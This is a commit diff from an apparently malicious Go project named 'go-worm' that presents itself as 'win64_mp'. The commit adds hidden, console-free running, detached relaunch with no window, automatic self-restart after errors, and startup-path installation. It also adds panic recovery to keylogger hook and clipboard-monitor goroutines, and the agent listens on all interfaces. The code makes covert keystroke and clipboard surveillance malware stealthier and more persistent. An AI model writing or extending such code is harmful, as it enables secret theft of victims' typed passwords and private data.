refactor(core): add headless run and auto-restart

- Run without console by default
- Log to file once console hidden
- Recover panics in background goroutines
- Restart agent after unexpected errors
- Use shared instance launch helper
This commit is contained in:
2026-09-01 20:12:12 +03:00
parent 36cb847f9e
commit 2318684e93
19 changed files with 299 additions and 63 deletions
+3 -3
View File
@@ -100,16 +100,16 @@ func (a *Agent) Serve() error {
return fmt.Errorf("listen %s: %w", a.addr, err)
}
fmt.Printf("win64_mp %s\nListening on http://%s\nPress Ctrl+C to stop.\n", config.Version, a.addr)
helpers.Log.Printf("win64_mp %s listening on http://%s", config.Version, a.addr)
ctx, stop := signal.NotifyContext(context.Background(), os.Interrupt)
defer stop()
go func() {
helpers.Go("shutdown", func() {
<-ctx.Done()
shutdownCtx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
defer cancel()
_ = a.server.Shutdown(shutdownCtx)
}()
})
if err := a.server.Serve(listener); err != nil && !errors.Is(err, http.ErrServerClosed) {
return fmt.Errorf("serve: %w", err)
+2
View File
@@ -5,6 +5,7 @@ import (
"time"
"tea.chunkbyte.com/kato/go-worm/lib/config"
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
)
var (
@@ -45,6 +46,7 @@ func Start() error {
writerWG.Add(1)
go func() {
defer writerWG.Done()
defer helpers.RecoverLog("clipmon-writer")
for {
select {
case event := <-events:
+3
View File
@@ -12,6 +12,8 @@ import (
"syscall"
"time"
"unsafe"
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
)
const (
@@ -50,6 +52,7 @@ type bitmapInfoHeader struct {
func startPlatform(w *Writer, events chan Event, stop <-chan struct{}, done chan struct{}) error {
go func() {
defer close(done)
defer helpers.RecoverLog("clipmon-poll")
pollClipboard(w, stop)
}()
return nil
+2
View File
@@ -5,12 +5,14 @@ import (
"path/filepath"
"strconv"
"strings"
"time"
)
const (
Version = "1.0.0"
DefaultAddr = "0.0.0.0:5032"
MutexName = "win64_mp_Mutex"
RestartDelay = 3 * time.Second
RequestBodyMax = 1 << 20
MaxUploadSize = 100 << 20 // ponytail: 100MB cap; raise via env later if needed
MaxListEntries = 10000
+1 -2
View File
@@ -13,11 +13,10 @@ import (
var mu sync.Mutex
// Recover logs a panic and re-raises after writing the crash file.
// Recover logs a panic without re-raising (used by optional defer wrappers).
func Recover() {
if r := recover(); r != nil {
_ = write("panic", fmt.Sprint(r), debug.Stack())
panic(r)
}
}
-3
View File
@@ -2,7 +2,6 @@ package helpers
import (
"encoding/json"
"log"
"net"
"net/http"
"os"
@@ -12,8 +11,6 @@ import (
"tea.chunkbyte.com/kato/go-worm/lib/models"
)
var Log = log.New(os.Stdout, "", log.Ldate|log.Ltime|log.Lmicroseconds)
func RecoverHandler(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
defer func() {
+25
View File
@@ -0,0 +1,25 @@
package helpers
import (
"os"
"path/filepath"
"tea.chunkbyte.com/kato/go-worm/lib/config"
)
// AttachLogFile appends application logs to logs/agent.log.
func AttachLogFile() error {
dir, err := config.LogsDir()
if err != nil {
return err
}
if err := os.MkdirAll(dir, 0o700); err != nil {
return err
}
f, err := os.OpenFile(filepath.Join(dir, "agent.log"), os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0o600)
if err != nil {
return err
}
SetLogOutput(f)
return nil
}
+50
View File
@@ -0,0 +1,50 @@
package helpers
import (
"fmt"
"io"
"log"
"os"
"sync"
"tea.chunkbyte.com/kato/go-worm/lib/crashlog"
)
var (
logMu sync.Mutex
logW io.Writer = os.Stdout
)
var Log = log.New(&logWriter{}, "", log.Ldate|log.Ltime|log.Lmicroseconds)
type logWriter struct{}
func (logWriter) Write(p []byte) (int, error) {
logMu.Lock()
defer logMu.Unlock()
return logW.Write(p)
}
// SetLogOutput redirects application logging (e.g. after hiding the console).
func SetLogOutput(w io.Writer) {
logMu.Lock()
defer logMu.Unlock()
logW = w
}
// Go runs fn in a goroutine with panic recovery.
func Go(component string, fn func()) {
go func() {
defer RecoverLog(component)
fn()
}()
}
// RecoverLog logs a recovered panic from a background component.
func RecoverLog(component string) {
if r := recover(); r != nil {
detail := fmt.Sprintf("%s: %v", component, r)
Log.Printf("panic %s", detail)
crashlog.RecordPanic(detail)
}
}
+1 -10
View File
@@ -4,7 +4,6 @@ import (
"fmt"
"io"
"os"
"os/exec"
"path/filepath"
"strings"
@@ -44,15 +43,7 @@ func Ensure() error {
return fmt.Errorf("update startup path: %w", err)
}
cmd := exec.Command(target, os.Args[1:]...)
cmd.Stdin = os.Stdin
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
if err := cmd.Start(); err != nil {
return fmt.Errorf("relaunch from %s: %w", target, err)
}
os.Exit(0)
return nil
return relaunchInstalled(target)
}
func copyExe(from, to string) error {
+21
View File
@@ -0,0 +1,21 @@
//go:build !windows
package install
import (
"fmt"
"os"
"os/exec"
)
func relaunchInstalled(target string) error {
cmd := exec.Command(target, os.Args[1:]...)
cmd.Stdin = os.Stdin
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
if err := cmd.Start(); err != nil {
return fmt.Errorf("relaunch from %s: %w", target, err)
}
os.Exit(0)
return nil
}
+18
View File
@@ -0,0 +1,18 @@
//go:build windows
package install
import (
"fmt"
"os"
"tea.chunkbyte.com/kato/go-worm/lib/instance"
)
func relaunchInstalled(target string) error {
if err := instance.Launch(target, os.Args[1:]); err != nil {
return fmt.Errorf("relaunch from %s: %w", target, err)
}
os.Exit(0)
return nil
}
+5
View File
@@ -0,0 +1,5 @@
//go:build !windows
package instance
func HideConsole() {}
+37
View File
@@ -0,0 +1,37 @@
//go:build windows
package instance
import (
"os"
"syscall"
)
var (
kernel32 = syscall.NewLazyDLL("kernel32.dll")
procFreeConsole = kernel32.NewProc("FreeConsole")
user32 = syscall.NewLazyDLL("user32.dll")
procShowWindow = user32.NewProc("ShowWindow")
)
const swHide = 0
// HideConsole hides any console window and detaches from it.
func HideConsole() {
hwnd, _, _ := kernel32.NewProc("GetConsoleWindow").Call()
if hwnd != 0 {
_, _, _ = procShowWindow.Call(hwnd, swHide)
}
_, _, _ = procFreeConsole.Call()
redirectStdioToNul()
}
func redirectStdioToNul() {
nul, err := os.OpenFile("NUL", os.O_RDWR, 0)
if err != nil {
return
}
os.Stdin = nul
os.Stdout = nul
os.Stderr = nul
}
+1 -33
View File
@@ -3,11 +3,6 @@ package instance
import (
"fmt"
"os"
"os/exec"
"strings"
"syscall"
"golang.org/x/sys/windows"
"tea.chunkbyte.com/kato/go-worm/lib/config"
)
@@ -20,32 +15,5 @@ func Detach() error {
if err != nil {
return err
}
nul, err := os.OpenFile("NUL", os.O_RDWR, 0)
if err != nil {
return err
}
defer nul.Close()
cmd := exec.Command(exe, stripBackground(os.Args[1:])...)
cmd.Stdin = nul
cmd.Stdout = nul
cmd.Stderr = nul
cmd.SysProcAttr = &syscall.SysProcAttr{
HideWindow: true,
CreationFlags: windows.CREATE_NO_WINDOW | windows.CREATE_NEW_PROCESS_GROUP,
}
return cmd.Start()
}
func stripBackground(args []string) []string {
out := make([]string, 0, len(args))
for _, arg := range args {
name := strings.TrimLeft(arg, "-/")
lower := strings.ToLower(name)
if lower == "background" || strings.HasPrefix(lower, "background=") {
continue
}
out = append(out, arg)
}
return out
return Launch(exe, filterArgs(os.Args[1:]))
}
+11
View File
@@ -0,0 +1,11 @@
//go:build !windows
package instance
func Launch(exe string, args []string) error {
return nil
}
func RestartSelf() error {
return nil
}
+58
View File
@@ -0,0 +1,58 @@
//go:build windows
package instance
import (
"os"
"os/exec"
"strings"
"syscall"
"golang.org/x/sys/windows"
"tea.chunkbyte.com/kato/go-worm/lib/config"
)
// Launch starts exe detached with no visible window or console IO.
func Launch(exe string, args []string) error {
nul, err := os.OpenFile("NUL", os.O_RDWR, 0)
if err != nil {
return err
}
defer nul.Close()
cmd := exec.Command(exe, args...)
cmd.Stdin = nul
cmd.Stdout = nul
cmd.Stderr = nul
cmd.SysProcAttr = &syscall.SysProcAttr{
HideWindow: true,
CreationFlags: windows.CREATE_NO_WINDOW | windows.CREATE_NEW_PROCESS_GROUP,
}
return cmd.Start()
}
// RestartSelf launches a fresh agent process (no mutex check).
func RestartSelf() error {
exe, err := config.InstalledExe()
if err != nil {
return err
}
return Launch(exe, nil)
}
func filterArgs(args []string) []string {
out := make([]string, 0, len(args))
for _, arg := range args {
name := strings.TrimLeft(arg, "-/")
lower := strings.ToLower(name)
switch {
case lower == "background" || strings.HasPrefix(lower, "background="):
continue
case lower == "foreground" || strings.HasPrefix(lower, "foreground="):
continue
}
out = append(out, arg)
}
return out
}
+3
View File
@@ -10,6 +10,7 @@ import (
"unsafe"
"tea.chunkbyte.com/kato/go-worm/lib/config"
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
)
const (
@@ -83,12 +84,14 @@ func startPlatform(_ *Writer, events chan Event, stop <-chan struct{}, done chan
go func() {
defer close(done)
defer helpers.RecoverLog("keylog-hook")
_ = runHookThread(ready)
hookEvents = nil
hookThreadID = 0
}()
go func() {
defer helpers.RecoverLog("keylog-stop")
select {
case <-ready:
case <-stop:
+2
View File
@@ -4,6 +4,7 @@ import (
"sync"
"tea.chunkbyte.com/kato/go-worm/lib/config"
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
)
var (
@@ -44,6 +45,7 @@ func Start() error {
writerWG.Add(1)
go func() {
defer writerWG.Done()
defer helpers.RecoverLog("keylog-writer")
for {
select {
case event := <-events: